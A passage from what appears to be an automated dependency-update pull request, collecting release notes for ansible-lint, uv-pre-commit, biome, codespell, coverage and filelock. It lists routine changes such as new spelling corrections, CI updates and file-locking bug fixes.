@&#8203;[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- chore(deps): update all dependencies
([#&#8203;5046](https://redirect.github.com/ansible/ansible-lint/issues/5046))
@&#8203;[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- chore(deps): update all dependencies pep621
([#&#8203;5041](https://redirect.github.com/ansible/ansible-lint/issues/5041))
@&#8203;[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- chore(deps): update all dependencies
([#&#8203;5040](https://redirect.github.com/ansible/ansible-lint/issues/5040))
@&#8203;[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- chore(deps): update all dependencies
([#&#8203;5011](https://redirect.github.com/ansible/ansible-lint/issues/5011))
@&#8203;[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- fix(security): update dependencies \[SECURITY] - abandoned
([#&#8203;5014](https://redirect.github.com/ansible/ansible-lint/issues/5014))
@&#8203;[renovate\[bot\]](https://redirect.github.com/apps/renovate)
- chore(deps): update all dependencies pep621
([#&#8203;5012](https://redirect.github.com/ansible/ansible-lint/issues/5012))
@&#8203;[renovate\[bot\]](https://redirect.github.com/apps/renovate)

</details>

<details>
<summary>astral-sh/uv-pre-commit (astral-sh/uv-pre-commit)</summary>

###
[`v0.11.32`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.32)

[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.31...0.11.32)

See: <https://github.com/astral-sh/uv/releases/tag/0.11.32>

###
[`v0.11.31`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.31)

[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.30...0.11.31)

See: <https://github.com/astral-sh/uv/releases/tag/0.11.31>

###
[`v0.11.30`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.30)

[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.29...0.11.30)

See: <https://github.com/astral-sh/uv/releases/tag/0.11.30>

###
[`v0.11.29`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.29)

[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.28...0.11.29)

See: <https://github.com/astral-sh/uv/releases/tag/0.11.29>

###
[`v0.11.28`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.28)

[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.27...0.11.28)

See: <https://github.com/astral-sh/uv/releases/tag/0.11.28>

###
[`v0.11.27`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.27)

[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.26...0.11.27)

See: <https://github.com/astral-sh/uv/releases/tag/0.11.27>

###
[`v0.11.26`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.26)

[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.25...0.11.26)

See: <https://github.com/astral-sh/uv/releases/tag/0.11.26>

###
[`v0.11.25`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.25)

[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.24...0.11.25)

See: <https://github.com/astral-sh/uv/releases/tag/0.11.25>

###
[`v0.11.24`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.24)

[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.23...0.11.24)

See: <https://github.com/astral-sh/uv/releases/tag/0.11.24>

###
[`v0.11.23`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.23)

[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.22...0.11.23)

See: <https://github.com/astral-sh/uv/releases/tag/0.11.23>

###
[`v0.11.22`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.22)

[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.21...0.11.22)

See: <https://github.com/astral-sh/uv/releases/tag/0.11.22>

###
[`v0.11.21`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.21)

[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.20...0.11.21)

See: <https://github.com/astral-sh/uv/releases/tag/0.11.21>

###
[`v0.11.20`](https://redirect.github.com/astral-sh/uv-pre-commit/releases/tag/0.11.20)

[Compare
Source](https://redirect.github.com/astral-sh/uv-pre-commit/compare/0.11.19...0.11.20)

See: <https://github.com/astral-sh/uv/releases/tag/0.11.20>

</details>

<details>
<summary>biomejs/pre-commit (biomejs/pre-commit)</summary>

###
[`v2.5.5`](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.4...v2.5.5)

[Compare
Source](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.4...v2.5.5)

###
[`v2.5.4`](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.3...v2.5.4)

[Compare
Source](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.3...v2.5.4)

###
[`v2.5.3`](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.2...v2.5.3)

[Compare
Source](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.2...v2.5.3)

###
[`v2.5.2`](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.1...v2.5.2)

[Compare
Source](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.1...v2.5.2)

###
[`v2.5.1`](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.0...v2.5.1)

[Compare
Source](https://redirect.github.com/biomejs/pre-commit/compare/v2.5.0...v2.5.1)

###
[`v2.5.0`](https://redirect.github.com/biomejs/pre-commit/compare/v2.4.16...v2.5.0)

[Compare
Source](https://redirect.github.com/biomejs/pre-commit/compare/v2.4.16...v2.5.0)

</details>

<details>
<summary>codespell-project/codespell (codespell)</summary>

###
[`v2.4.3`](https://redirect.github.com/codespell-project/codespell/releases/tag/v2.4.3)

[Compare
Source](https://redirect.github.com/codespell-project/codespell/compare/v2.4.2...v2.4.3)

<!-- Release notes generated using configuration in .github/release.yml
at main -->

#### What's Changed

- Add 'radback' to dictionary with correction by
[@&#8203;Flo3561](https://redirect.github.com/Flo3561) in
[#&#8203;3883](https://redirect.github.com/codespell-project/codespell/pull/3883)
- Add 'repetirion' to dictionary corrections by
[@&#8203;Flo3561](https://redirect.github.com/Flo3561) in
[#&#8203;3885](https://redirect.github.com/codespell-project/codespell/pull/3885)
- Need to specify a version of Python version after all by
[@&#8203;DimitriPapadopoulos](https://redirect.github.com/DimitriPapadopoulos)
in
[#&#8203;3887](https://redirect.github.com/codespell-project/codespell/pull/3887)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3889](https://redirect.github.com/codespell-project/codespell/pull/3889)
- Add cases for "modulle" -> "module" by
[@&#8203;utzcoz](https://redirect.github.com/utzcoz) in
[#&#8203;3888](https://redirect.github.com/codespell-project/codespell/pull/3888)
- Add case "auido" -> "audio" by
[@&#8203;utzcoz](https://redirect.github.com/utzcoz) in
[#&#8203;3890](https://redirect.github.com/codespell-project/codespell/pull/3890)
- Add credentilas->credentials and friends by
[@&#8203;peternewman](https://redirect.github.com/peternewman) in
[#&#8203;3895](https://redirect.github.com/codespell-project/codespell/pull/3895)
- Add the case "cubid" -> "cubic" by
[@&#8203;utzcoz](https://redirect.github.com/utzcoz) in
[#&#8203;3891](https://redirect.github.com/codespell-project/codespell/pull/3891)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3897](https://redirect.github.com/codespell-project/codespell/pull/3897)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3900](https://redirect.github.com/codespell-project/codespell/pull/3900)
- Bump codecov/codecov-action from 5 to 6 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[#&#8203;3902](https://redirect.github.com/codespell-project/codespell/pull/3902)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3904](https://redirect.github.com/codespell-project/codespell/pull/3904)
- Add `magntiude->magnitude` by
[@&#8203;nathanjmcdougall](https://redirect.github.com/nathanjmcdougall)
in
[#&#8203;3899](https://redirect.github.com/codespell-project/codespell/pull/3899)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3909](https://redirect.github.com/codespell-project/codespell/pull/3909)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3912](https://redirect.github.com/codespell-project/codespell/pull/3912)
- Add the case "instanc" -> "instance" by
[@&#8203;utzcoz](https://redirect.github.com/utzcoz) in
[#&#8203;3896](https://redirect.github.com/codespell-project/codespell/pull/3896)
- gampad -> gamepad (and plural) by
[@&#8203;julianstirling](https://redirect.github.com/julianstirling) in
[#&#8203;3906](https://redirect.github.com/codespell-project/codespell/pull/3906)
- Add typos of `monotonic` and `monotonicity` by
[@&#8203;nathanjmcdougall](https://redirect.github.com/nathanjmcdougall)
in
[#&#8203;3898](https://redirect.github.com/codespell-project/codespell/pull/3898)
- Add spelling correction for multipile(s)/vulnerabities. by
[@&#8203;cfi-gb](https://redirect.github.com/cfi-gb) in
[#&#8203;3905](https://redirect.github.com/codespell-project/codespell/pull/3905)
- Add 'simpilfy -> simplify' by
[@&#8203;alexreinking](https://redirect.github.com/alexreinking) in
[#&#8203;3913](https://redirect.github.com/codespell-project/codespell/pull/3913)
- fix(packaging): prevent unwanted files and tests from being installed
by
[@&#8203;mikelolasagasti](https://redirect.github.com/mikelolasagasti)
in
[#&#8203;3911](https://redirect.github.com/codespell-project/codespell/pull/3911)
- Add skarhoj->SKAARHOJ to dictionary corrections by
[@&#8203;peternewman](https://redirect.github.com/peternewman) in
[#&#8203;3908](https://redirect.github.com/codespell-project/codespell/pull/3908)
- Improve the dictionary by
[@&#8203;algonell](https://redirect.github.com/algonell) in
[#&#8203;3914](https://redirect.github.com/codespell-project/codespell/pull/3914)
- Add spelling correction for accorss/accors. by
[@&#8203;cfi-gb](https://redirect.github.com/cfi-gb) in
[#&#8203;3916](https://redirect.github.com/codespell-project/codespell/pull/3916)
- Bump autofix-ci/action from 1.3.3 to 1.3.4 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[#&#8203;3921](https://redirect.github.com/codespell-project/codespell/pull/3921)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3923](https://redirect.github.com/codespell-project/codespell/pull/3923)
- Add `influecer->influencer` and `influnce*` typos to dictionary by
[@&#8203;nathanjmcdougall](https://redirect.github.com/nathanjmcdougall)
in
[#&#8203;3925](https://redirect.github.com/codespell-project/codespell/pull/3925)
- Add typos for `excavate` and variants by
[@&#8203;nathanjmcdougall](https://redirect.github.com/nathanjmcdougall)
in
[#&#8203;3926](https://redirect.github.com/codespell-project/codespell/pull/3926)
- Dict: Add corrections for memoy by
[@&#8203;mdeweerd](https://redirect.github.com/mdeweerd) in
[#&#8203;3924](https://redirect.github.com/codespell-project/codespell/pull/3924)
- `overheda -> overhead` by
[@&#8203;George-Ogden](https://redirect.github.com/George-Ogden) in
[#&#8203;3919](https://redirect.github.com/codespell-project/codespell/pull/3919)
- `inclusize->inclusive` and variants by
[@&#8203;George-Ogden](https://redirect.github.com/George-Ogden) in
[#&#8203;3918](https://redirect.github.com/codespell-project/codespell/pull/3918)
- Add spelling corrections for authorization by
[@&#8203;cfi-gb](https://redirect.github.com/cfi-gb) in
[#&#8203;3922](https://redirect.github.com/codespell-project/codespell/pull/3922)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3927](https://redirect.github.com/codespell-project/codespell/pull/3927)
- Don't fix Voight by
[@&#8203;DimitriPapadopoulos](https://redirect.github.com/DimitriPapadopoulos)
in
[#&#8203;3929](https://redirect.github.com/codespell-project/codespell/pull/3929)
- Add spelling corrections for interstect and interstection by
[@&#8203;korli](https://redirect.github.com/korli) in
[#&#8203;3928](https://redirect.github.com/codespell-project/codespell/pull/3928)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3930](https://redirect.github.com/codespell-project/codespell/pull/3930)
- Improve output in interactive mode by
[@&#8203;darkmattercoder](https://redirect.github.com/darkmattercoder)
in
[#&#8203;3884](https://redirect.github.com/codespell-project/codespell/pull/3884)
- feat: support codespell:ignore-next-line directive by
[@&#8203;SAY-5](https://redirect.github.com/SAY-5) in
[#&#8203;3931](https://redirect.github.com/codespell-project/codespell/pull/3931)
- Add woork->work and formace->format and friends by
[@&#8203;peternewman](https://redirect.github.com/peternewman) in
[#&#8203;3828](https://redirect.github.com/codespell-project/codespell/pull/3828)
- shortctu -> shortcut by
[@&#8203;George-Ogden](https://redirect.github.com/George-Ogden) in
[#&#8203;3934](https://redirect.github.com/codespell-project/codespell/pull/3934)
- A couple typos by
[@&#8203;DimitriPapadopoulos](https://redirect.github.com/DimitriPapadopoulos)
in
[#&#8203;3935](https://redirect.github.com/codespell-project/codespell/pull/3935)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3937](https://redirect.github.com/codespell-project/codespell/pull/3937)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3942](https://redirect.github.com/codespell-project/codespell/pull/3942)
- reclaculate->recalculate by
[@&#8203;adamgann](https://redirect.github.com/adamgann) in
[#&#8203;3936](https://redirect.github.com/codespell-project/codespell/pull/3936)
- Add spelling correction for improprt. by
[@&#8203;cfi-gb](https://redirect.github.com/cfi-gb) in
[#&#8203;3939](https://redirect.github.com/codespell-project/codespell/pull/3939)
- Dictionary plasic-plastic by
[@&#8203;julianstirling](https://redirect.github.com/julianstirling) in
[#&#8203;3938](https://redirect.github.com/codespell-project/codespell/pull/3938)
- Add rourter->router and friends by
[@&#8203;peternewman](https://redirect.github.com/peternewman) in
[#&#8203;3943](https://redirect.github.com/codespell-project/codespell/pull/3943)
- Add new spelling correction for 'strucutr' to 'structure' by
[@&#8203;Flo3561](https://redirect.github.com/Flo3561) in
[#&#8203;3944](https://redirect.github.com/codespell-project/codespell/pull/3944)
- adding zone spelling correction by
[@&#8203;Flo3561](https://redirect.github.com/Flo3561) in
[#&#8203;3945](https://redirect.github.com/codespell-project/codespell/pull/3945)
- Add correction for 'egineering' to 'engineering' by
[@&#8203;Flo3561](https://redirect.github.com/Flo3561) in
[#&#8203;3946](https://redirect.github.com/codespell-project/codespell/pull/3946)
- adding seet spelling corrections by
[@&#8203;Flo3561](https://redirect.github.com/Flo3561) in
[#&#8203;3947](https://redirect.github.com/codespell-project/codespell/pull/3947)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3949](https://redirect.github.com/codespell-project/codespell/pull/3949)
- Add spelling correction for flwa/flwas. by
[@&#8203;cfi-gb](https://redirect.github.com/cfi-gb) in
[#&#8203;3948](https://redirect.github.com/codespell-project/codespell/pull/3948)
- PEP 735 compliance: dependency groups by
[@&#8203;DimitriPapadopoulos](https://redirect.github.com/DimitriPapadopoulos)
in
[#&#8203;3877](https://redirect.github.com/codespell-project/codespell/pull/3877)
- Allow use --builtin=all to use every builtin dictionary by
[@&#8203;AlightSoulmate](https://redirect.github.com/AlightSoulmate) in
[#&#8203;3917](https://redirect.github.com/codespell-project/codespell/pull/3917)
- feat: add --ignore-sic to skip misspellings marked with \[sic] by
[@&#8203;kojiromike](https://redirect.github.com/kojiromike) in
[#&#8203;3950](https://redirect.github.com/codespell-project/codespell/pull/3950)
- Bump codecov/codecov-action from 6 to 7 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[#&#8203;3953](https://redirect.github.com/codespell-project/codespell/pull/3953)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3954](https://redirect.github.com/codespell-project/codespell/pull/3954)
- Add common misspellings for 'dispplay' variations by
[@&#8203;Flo3561](https://redirect.github.com/Flo3561) in
[#&#8203;3955](https://redirect.github.com/codespell-project/codespell/pull/3955)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3958](https://redirect.github.com/codespell-project/codespell/pull/3958)
- Add spelling corrections for simpe and variants. by
[@&#8203;cfi-gb](https://redirect.github.com/cfi-gb) in
[#&#8203;3960](https://redirect.github.com/codespell-project/codespell/pull/3960)
- Bump actions/checkout from 6 to 7 by
[@&#8203;dependabot](https://redirect.github.com/dependabot)\[bot] in
[#&#8203;3961](https://redirect.github.com/codespell-project/codespell/pull/3961)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3964](https://redirect.github.com/codespell-project/codespell/pull/3964)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3966](https://redirect.github.com/codespell-project/codespell/pull/3966)
- Add common misspellings for reseeve->reserve to dictionary by
[@&#8203;peternewman](https://redirect.github.com/peternewman) in
[#&#8203;3967](https://redirect.github.com/codespell-project/codespell/pull/3967)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3968](https://redirect.github.com/codespell-project/codespell/pull/3968)
- \[pre-commit.ci] pre-commit autoupdate by
[@&#8203;pre-commit-ci](https://redirect.github.com/pre-commit-ci)\[bot]
in
[#&#8203;3970](https://redirect.github.com/codespell-project/codespell/pull/3970)
- Read only \[tool.codespell] from TOML config by
[@&#8203;Sanjays2402](https://redirect.github.com/Sanjays2402) in
[#&#8203;3975](https://redirect.github.com/codespell-project/codespell/pull/3975)

#### New Contributors

- [@&#8203;Flo3561](https://redirect.github.com/Flo3561) made their
first contribution in
[#&#8203;3883](https://redirect.github.com/codespell-project/codespell/pull/3883)
- [@&#8203;alexreinking](https://redirect.github.com/alexreinking) made
their first contribution in
[#&#8203;3913](https://redirect.github.com/codespell-project/codespell/pull/3913)
- [@&#8203;mikelolasagasti](https://redirect.github.com/mikelolasagasti)
made their first contribution in
[#&#8203;3911](https://redirect.github.com/codespell-project/codespell/pull/3911)
- [@&#8203;korli](https://redirect.github.com/korli) made their first
contribution in
[#&#8203;3928](https://redirect.github.com/codespell-project/codespell/pull/3928)
- [@&#8203;darkmattercoder](https://redirect.github.com/darkmattercoder)
made their first contribution in
[#&#8203;3884](https://redirect.github.com/codespell-project/codespell/pull/3884)
- [@&#8203;SAY-5](https://redirect.github.com/SAY-5) made their first
contribution in
[#&#8203;3931](https://redirect.github.com/codespell-project/codespell/pull/3931)
- [@&#8203;adamgann](https://redirect.github.com/adamgann) made their
first contribution in
[#&#8203;3936](https://redirect.github.com/codespell-project/codespell/pull/3936)
- [@&#8203;AlightSoulmate](https://redirect.github.com/AlightSoulmate)
made their first contribution in
[#&#8203;3917](https://redirect.github.com/codespell-project/codespell/pull/3917)
- [@&#8203;kojiromike](https://redirect.github.com/kojiromike) made
their first contribution in
[#&#8203;3950](https://redirect.github.com/codespell-project/codespell/pull/3950)
- [@&#8203;Sanjays2402](https://redirect.github.com/Sanjays2402) made
their first contribution in
[#&#8203;3975](https://redirect.github.com/codespell-project/codespell/pull/3975)

**Full Changelog**:
<https://github.com/codespell-project/codespell/compare/v2.4.2...v2.4.3>

</details>

<details>
<summary>coveragepy/coveragepy (coverage)</summary>

###
[`v7.15.2`](https://redirect.github.com/coveragepy/coveragepy/blob/HEAD/CHANGES.rst#Version-7152--2026-07-15)

[Compare
Source](https://redirect.github.com/coveragepy/coveragepy/compare/7.15.1...7.15.2)

- Fix: one of the performance improvements in 7.15.1 (pull 2215)
dramatically
  increased memory use during reporting for large projects. Now we use a
different approach that is both faster and slimmer than 7.15.0. Fixes
`issue
  2229`\_.

.. \_issue 2229:
[#&#8203;2229](https://redirect.github.com/coveragepy/coveragepy/issues/2229)

.. \_changes\_7-15-1:

</details>

<details>
<summary>tox-dev/py-filelock (filelock)</summary>

###
[`v3.32.0`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.32.0)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.31.2...3.32.0)

<!-- Release notes generated using configuration in .github/release.yaml
at 3.32.0 -->

##### What's Changed

- 👷 ci: add Python 3.15 to the test matrix by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#683](https://redirect.github.com/tox-dev/filelock/pull/683)
- 🐛 fix(packaging): let an unpacked sdist run the test suite by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#685](https://redirect.github.com/tox-dev/filelock/pull/685)

**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.31.2...3.32.0>

###
[`v3.31.2`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.31.2)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.31.1...3.31.2)

<!-- Release notes generated using configuration in .github/release.yaml
at 3.31.2 -->

##### What's Changed

- 🐛 fix(strict): tolerate an errno without ENOTSUP by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#681](https://redirect.github.com/tox-dev/filelock/pull/681)

**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.31.1...3.31.2>

###
[`v3.31.1`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.31.1)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.31.0...3.31.1)

<!-- Release notes generated using configuration in .github/release.yaml
at 3.31.1 -->

##### What's Changed

- ♻️ refactor(coverage): key exclusions on probed capability by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#679](https://redirect.github.com/tox-dev/filelock/pull/679)
- scope a lease's claim to the context that acquired it by
[@&#8203;dxbjavid](https://redirect.github.com/dxbjavid) in
[tox-dev/filelock#680](https://redirect.github.com/tox-dev/filelock/pull/680)

**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.31.0...3.31.1>

###
[`v3.31.0`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.31.0)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.30.3...3.31.0)

<!-- Release notes generated using configuration in .github/release.yaml
at 3.31.0 -->

#### What's Changed

- ✨ feat(platform): support Termux/Android by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#678](https://redirect.github.com/tox-dev/filelock/pull/678)

**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.30.3...3.31.0>

###
[`v3.30.3`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.30.3)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.30.2...3.30.3)

<!-- Release notes generated using configuration in .github/release.yaml
at 3.30.3 -->

#### What's Changed

- Keep both tables of contents on screen at any browser font size by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#673](https://redirect.github.com/tox-dev/filelock/pull/673)
- 📝 docs(mermaid): follow the light and dark theme toggle by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#674](https://redirect.github.com/tox-dev/filelock/pull/674)
- asyncio: scope the reentrant-deadlock registry to the owning task by
[@&#8203;xt-yin](https://redirect.github.com/xt-yin) in
[tox-dev/filelock#676](https://redirect.github.com/tox-dev/filelock/pull/676)

#### New Contributors

- [@&#8203;xt-yin](https://redirect.github.com/xt-yin) made their first
contribution in
[tox-dev/filelock#676](https://redirect.github.com/tox-dev/filelock/pull/676)

**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.30.2...3.30.3>

###
[`v3.30.2`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.30.2)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.30.1...3.30.2)

<!-- Release notes generated using configuration in .github/release.yaml
at 3.30.2 -->

#### What's Changed

- Document every lock type, and stop evicting a marker we cannot read by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#672](https://redirect.github.com/tox-dev/filelock/pull/672)

**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.30.1...3.30.2>

###
[`v3.30.1`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.30.1)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.30.0...3.30.1)

<!-- Release notes generated using configuration in .github/release.yaml
at 3.30.1 -->

#### What's Changed

- 📝 docs: separate changelog releases with a blank line by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#668](https://redirect.github.com/tox-dev/filelock/pull/668)
- 🐛 fix: tolerate NFSv3 stale handle in strict claim read by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#669](https://redirect.github.com/tox-dev/filelock/pull/669)
- Match fork-reset protocol on the class object by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#671](https://redirect.github.com/tox-dev/filelock/pull/671)
- reject non-finite lease duration in marker records by
[@&#8203;dxbjavid](https://redirect.github.com/dxbjavid) in
[tox-dev/filelock#670](https://redirect.github.com/tox-dev/filelock/pull/670)

**Full Changelog**:
<https://github.com/tox-dev/filelock/compare/3.30.0...3.30.1>

###
[`v3.30.0`](https://redirect.github.com/tox-dev/filelock/releases/tag/3.30.0)

[Compare
Source](https://redirect.github.com/tox-dev/py-filelock/compare/3.29.7...3.30.0)

<!-- Release notes generated using configuration in .github/release.yaml
at 3.30.0 -->

#### What's Changed

- 🎨 style: readability cleanup across the library by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#598](https://redirect.github.com/tox-dev/filelock/pull/598)
- 🐛 fix(api): ignore lifetime on native OS locks by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#593](https://redirect.github.com/tox-dev/filelock/pull/593)
- 🐛 fix(unix): don't mutate lock file before acquiring flock by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#594](https://redirect.github.com/tox-dev/filelock/pull/594)
- soft: evict a non-regular lock file without reading it by
[@&#8203;dxbjavid](https://redirect.github.com/dxbjavid) in
[tox-dev/filelock#597](https://redirect.github.com/tox-dev/filelock/pull/597)
- 🐛 fix(windows): bind reparse-point check to the locked handle by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#596](https://redirect.github.com/tox-dev/filelock/pull/596)
- 🐛 fix(api): make native lock release transactional by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#615](https://redirect.github.com/tox-dev/filelock/pull/615)
- 🐛 fix(soft): make marker writes and cleanup transactional by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#614](https://redirect.github.com/tox-dev/filelock/pull/614)
- 🐛 fix(windows): open the lock file through NtCreateFile by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#617](https://redirect.github.com/tox-dev/filelock/pull/617)
- ✨ feat(api): add context\_error\_policy for dual context failures by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#618](https://redirect.github.com/tox-dev/filelock/pull/618)
- 📝 docs: correct Unix lock-file cleanup and flock claims by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#623](https://redirect.github.com/tox-dev/filelock/pull/623)
- ✨ feat(api): add close\_error\_policy for post-unlock close errors by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#619](https://redirect.github.com/tox-dev/filelock/pull/619)
- 🐛 fix(api): canonicalize singleton keys without following a final
symlink by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#621](https://redirect.github.com/tox-dev/filelock/pull/621)
- ✨ feat(unix): add fallback\_to\_soft opt-out for native locks by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#622](https://redirect.github.com/tox-dev/filelock/pull/622)
- ✨ feat: add lock\_descriptor for a caller-owned descriptor by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
[tox-dev/filelock#620](https://redirect.github.com/tox-dev/filelock/pull/620)
- ✨ feat(api): add preserve\_lock\_file to keep the lock pathname by
[@&#8203;gaborbernat](https://redirect.github.com/gaborbernat) in
